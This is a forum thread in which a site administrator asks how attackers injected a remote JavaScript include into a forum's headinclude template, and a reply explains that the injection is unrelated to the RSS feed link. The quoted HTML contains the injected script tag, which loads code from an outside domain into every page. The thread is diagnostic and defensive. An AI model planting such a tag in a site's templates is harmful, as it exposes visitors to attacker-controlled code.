How to use external.php to inject a call to a javascript?

[Spinball]

We were hacked last night. Somehow they used external.php called in the headinclude template to include a chinese .js:

<link rel="alternate" type="application/rss+xml" title="AVForums.com RSS Feed" href="http://www.avforums.com/forums/external.php?type=RSS2" /> <script type="text/javascript" src="http://www.veggiezjuly.org/eos.js?sscoo"></script><script type="text/javascript" src="http://www.avforums.com/forums/clientscript/ame.js" >

I closed the site, edited headinclude to remove the external.php reference to check that it was the cause. It was. Then I re-added the line but the chinese js code did not reappear.

Does anyone have any idea how they did this?
There was no change to the plugins, files, access via the control panel or anything else suspicious which we could spot.

--------------- Added [DATE]1338890536[/DATE] at [TIME]1338890536[/TIME] ---------------

Ok, it seems they edited the template table, inserting a link to their js into the compiled headinclude template.

[kh99]

It looks like this is the part that includes an external js file:

<script type="text/javascript" src="http://www.veggiezjuly.org/eos.js?sscoo">

I think it just happened to be after the <link> to your external.php (RSS feed), so it doesn't really have anything to do with external.php. But there's still the question of how someone was able to insert that - you must still have some vulnerability somewhere.

[Spinball]

Agreed. I've set my host on to the task of finding where. Thanks